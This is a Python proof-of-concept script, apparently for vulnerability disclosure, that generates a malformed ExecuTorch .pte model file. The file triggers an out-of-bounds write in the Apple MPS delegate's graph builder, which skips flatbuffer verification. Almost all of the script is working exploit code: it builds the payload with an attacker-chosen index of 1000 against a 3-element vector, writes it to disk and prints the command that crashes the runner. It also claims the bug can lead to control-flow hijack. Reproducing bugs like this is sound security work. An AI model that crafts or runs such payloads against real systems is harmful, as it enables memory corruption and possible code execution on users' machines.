| |
| """ |
| craft_malformed_mps_pte.py |
| |
| Generates a malformed ExecuTorch .pte file that triggers the OOB write in |
| Apple MPS delegate MPSGraphBuilder.mm:162 when loaded by executor_runner. |
| |
| Bug: MPSGraphBuilder::compileModel() (MPSGraphBuilder.mm:57-64) does only |
| a 4-byte MPSGraphBufferHasIdentifier check then calls GetMPSGraph(buffer) at |
| line 64 with NO flatbuffers::Verifier. Then compileMPSGraph() (line 92) resizes |
| _idToMPSGraphTensor to mps_values()->size() (3 in our payload), then at |
| line 162 indexes with input_ids[0] = 1000 -- OOB write on a 3-element vector. |
| |
| Call chain: MPSBackend.mm:60 -> MPSCompiler.mm:52 -> MPSGraphBuilder.mm:64 |
| |
| Compare: XNNPACK and Vulkan both have the two-line fix: |
| flatbuffers::Verifier verifier(data, size); |
| VerifyXXXBuffer(verifier); // rejects before GetXXX() is ever called |
| |
| Usage: |
| python3 craft_malformed_mps_pte.py |
| # Produces: malformed_mps.pte |
| # Run: ./build_asan/executor_runner --model_path malformed_mps.pte |
| |
| Expected crash (MPSGraphBuilder.mm:162, OOB write, exit 139 or ASan report): |
| _idToMPSGraphTensor[1000] = placeholder; |
| ^^ vector has 3 elements; index 1000 is out of bounds |
| """ |
|
|
| import sys |
| import os |
| import struct |
|
|
| |
| import flatbuffers |
| from flatbuffers import builder as fb_builder |
|
|
| |
| sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas")) |
| from mpsgraph import MPSGraph, MPSTensor, MPSDataType |
|
|
| |
| from executorch_flatbuffer import ( |
| Program, ExecutionPlan, BackendDelegate, BackendDelegateDataReference, |
| BackendDelegateInlineData, Chain, Instruction, DelegateCall, |
| EValue, Tensor, AllocationDetails, CompileSpec |
| ) |
| from executorch_flatbuffer import DataLocation, TensorShapeDynamism |
| import executorch_flatbuffer.KernelTypes as KT |
| import executorch_flatbuffer.InstructionArguments as IA |
|
|
|
|
| |
| |
| |
| |
| |
| |
| |
| def build_malformed_mps_flatbuffer() -> bytes: |
| b = flatbuffers.Builder(512) |
|
|
| |
| tensor_offsets = [] |
| for _ in range(3): |
| dims_vec = b.CreateNumpyVector(__import__('numpy').array([1], dtype='int32')) |
| MPSTensor.MPSTensorStart(b) |
| MPSTensor.MPSTensorAddDatatype(b, MPSDataType.MPSDataType.mps_data_type_float32) |
| MPSTensor.MPSTensorAddNumDims(b, 1) |
| MPSTensor.MPSTensorAddDims(b, dims_vec) |
| tensor_offsets.append(MPSTensor.MPSTensorEnd(b)) |
|
|
| |
| MPSGraph.MPSGraphStartMpsValuesVector(b, 3) |
| for off in reversed(tensor_offsets): |
| b.PrependUOffsetTRelative(off) |
| mps_values_vec = b.EndVector(3) |
|
|
| |
| MPSGraph.MPSGraphStartInputIdsVector(b, 1) |
| b.PrependInt32(1000) |
| input_ids_vec = b.EndVector(1) |
|
|
| |
| MPSGraph.MPSGraphStartOutputIdsVector(b, 1) |
| b.PrependInt32(999) |
| output_ids_vec = b.EndVector(1) |
|
|
| |
| MPSGraph.MPSGraphStart(b) |
| MPSGraph.MPSGraphAddMpsValues(b, mps_values_vec) |
| MPSGraph.MPSGraphAddInputIds(b, input_ids_vec) |
| MPSGraph.MPSGraphAddOutputIds(b, output_ids_vec) |
| mps_graph_root = MPSGraph.MPSGraphEnd(b) |
|
|
| b.Finish(mps_graph_root) |
| mps_buf = bytes(b.Output()) |
|
|
| |
| |
| |
| mps_buf = mps_buf[:4] + b"MP00" + mps_buf[8:] |
|
|
| print(f" [+] MPS FlatBuffer built: {len(mps_buf)} bytes") |
| print(f" mps_values count : 3 (controls resize)") |
| print(f" input_ids[0] : 1000 (OOB write at MPSGraphBuilder.mm:162)") |
| print(f" output_ids[0] : 999 (OOB write at MPSGraphBuilder.mm:120/124)") |
| return mps_buf |
|
|
|
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| def build_program_pte(mps_payload: bytes) -> bytes: |
| import numpy as np |
| b = flatbuffers.Builder(len(mps_payload) + 4096) |
|
|
| |
| mps_data_vec = b.CreateByteVector(mps_payload) |
| BackendDelegateInlineData.BackendDelegateInlineDataStart(b) |
| BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, mps_data_vec) |
| inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b) |
|
|
| |
| id_str = b.CreateString("mps") |
|
|
| BackendDelegateDataReference.BackendDelegateDataReferenceStart(b) |
| BackendDelegateDataReference.BackendDelegateDataReferenceAddLocation( |
| b, DataLocation.DataLocation.INLINE) |
| BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0) |
| processed_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b) |
|
|
| BackendDelegate.BackendDelegateStart(b) |
| BackendDelegate.BackendDelegateAddId(b, id_str) |
| BackendDelegate.BackendDelegateAddProcessed(b, processed_ref) |
| delegate = BackendDelegate.BackendDelegateEnd(b) |
|
|
| |
| args_vec = b.CreateNumpyVector(np.array([0, 1], dtype='int32')) |
| DelegateCall.DelegateCallStart(b) |
| DelegateCall.DelegateCallAddDelegateIndex(b, 0) |
| DelegateCall.DelegateCallAddArgs(b, args_vec) |
| dcall = DelegateCall.DelegateCallEnd(b) |
|
|
| |
| Instruction.InstructionStart(b) |
| Instruction.InstructionAddInstrArgsType(b, IA.InstructionArguments.DelegateCall) |
| Instruction.InstructionAddInstrArgs(b, dcall) |
| instr = Instruction.InstructionEnd(b) |
|
|
| |
| instrs_vec = b.CreateNumpyVector(np.array([], dtype='int32')) |
| Chain.ChainStartInstructionsVector(b, 1) |
| b.PrependUOffsetTRelative(instr) |
| instrs_vec = b.EndVector(1) |
|
|
| Chain.ChainStart(b) |
| Chain.ChainAddInstructions(b, instrs_vec) |
| chain = Chain.ChainEnd(b) |
|
|
| |
| |
| dims0 = b.CreateNumpyVector(np.array([1], dtype='int32')) |
| dim_order0 = b.CreateNumpyVector(np.array([0], dtype='uint8')) |
| Tensor.TensorStart(b) |
| Tensor.TensorAddScalarType(b, 6) |
| Tensor.TensorAddSizes(b, dims0) |
| Tensor.TensorAddDimOrder(b, dim_order0) |
| Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC) |
| t0 = Tensor.TensorEnd(b) |
|
|
| EValue.EValueStart(b) |
| EValue.EValueAddValType(b, KT.KernelTypes.Tensor) |
| EValue.EValueAddVal(b, t0) |
| ev0 = EValue.EValueEnd(b) |
|
|
| |
| dims1 = b.CreateNumpyVector(np.array([1], dtype='int32')) |
| dim_order1 = b.CreateNumpyVector(np.array([0], dtype='uint8')) |
| Tensor.TensorStart(b) |
| Tensor.TensorAddScalarType(b, 6) |
| Tensor.TensorAddSizes(b, dims1) |
| Tensor.TensorAddDimOrder(b, dim_order1) |
| Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC) |
| t1 = Tensor.TensorEnd(b) |
|
|
| EValue.EValueStart(b) |
| EValue.EValueAddValType(b, KT.KernelTypes.Tensor) |
| EValue.EValueAddVal(b, t1) |
| ev1 = EValue.EValueEnd(b) |
|
|
| |
| name_str = b.CreateString("forward") |
|
|
| |
| ExecutionPlan.ExecutionPlanStartValuesVector(b, 2) |
| b.PrependUOffsetTRelative(ev1) |
| b.PrependUOffsetTRelative(ev0) |
| values_vec = b.EndVector(2) |
|
|
| inputs_vec = b.CreateNumpyVector(np.array([0], dtype='int32')) |
| outputs_vec = b.CreateNumpyVector(np.array([1], dtype='int32')) |
|
|
| |
| ExecutionPlan.ExecutionPlanStartChainsVector(b, 1) |
| b.PrependUOffsetTRelative(chain) |
| chains_vec = b.EndVector(1) |
|
|
| |
| ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1) |
| b.PrependUOffsetTRelative(delegate) |
| delegates_vec = b.EndVector(1) |
|
|
| non_const_sizes = b.CreateNumpyVector(np.array([0, 1024], dtype='int64')) |
|
|
| ExecutionPlan.ExecutionPlanStart(b) |
| ExecutionPlan.ExecutionPlanAddName(b, name_str) |
| ExecutionPlan.ExecutionPlanAddValues(b, values_vec) |
| ExecutionPlan.ExecutionPlanAddInputs(b, inputs_vec) |
| ExecutionPlan.ExecutionPlanAddOutputs(b, outputs_vec) |
| ExecutionPlan.ExecutionPlanAddChains(b, chains_vec) |
| ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec) |
| ExecutionPlan.ExecutionPlanAddNonConstBufferSizes(b, non_const_sizes) |
| ep = ExecutionPlan.ExecutionPlanEnd(b) |
|
|
| |
| |
| Program.ProgramStartExecutionPlanVector(b, 1) |
| b.PrependUOffsetTRelative(ep) |
| ep_vec = b.EndVector(1) |
|
|
| |
| Program.ProgramStartBackendDelegateDataVector(b, 1) |
| b.PrependUOffsetTRelative(inline_data) |
| bdd_vec = b.EndVector(1) |
|
|
| Program.ProgramStart(b) |
| Program.ProgramAddVersion(b, 0) |
| Program.ProgramAddExecutionPlan(b, ep_vec) |
| Program.ProgramAddBackendDelegateData(b, bdd_vec) |
| prog = Program.ProgramEnd(b) |
|
|
| b.Finish(prog) |
| raw = bytes(b.Output()) |
| |
| |
| |
| return raw[:4] + b"ET12" + raw[8:] |
|
|
|
|
| def main(): |
| print("=== ExecuTorch MPS Delegate Runtime PoC Generator ===") |
| print("Vuln : MPSGraphBuilder.mm:92,162") |
| print("CWE : CWE-787 (Out-of-bounds Write)") |
| print("Impact : ObjC pointer written at attacker-chosen index -> type confusion -> CFH") |
| print() |
|
|
| print("[1/2] Building malformed MPSGraph FlatBuffer...") |
| mps_payload = build_malformed_mps_flatbuffer() |
|
|
| print() |
| print("[2/2] Wrapping in ExecuTorch Program FlatBuffer (ET12)...") |
| pte_bytes = build_program_pte(mps_payload) |
| print(f" [+] Program FlatBuffer: {len(pte_bytes)} bytes total") |
|
|
| out_path = os.path.join(os.path.dirname(__file__), "malformed_mps.pte") |
| with open(out_path, "wb") as f: |
| f.write(pte_bytes) |
|
|
| print(f" [+] Written: {out_path}") |
| print() |
| print("To trigger the crash:") |
| print(f" ./build_asan/executor_runner --model_path {out_path}") |
| print() |
| print("Expected (MPSGraphBuilder.mm:162, exit 139 or ASan heap-buffer-overflow):") |
| print(" vector size = 3 (from mps_values()->size())") |
| print(" input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] -> OOB write -> CRASH") |
|
|
|
|
| if __name__ == "__main__": |
| main() |
|
|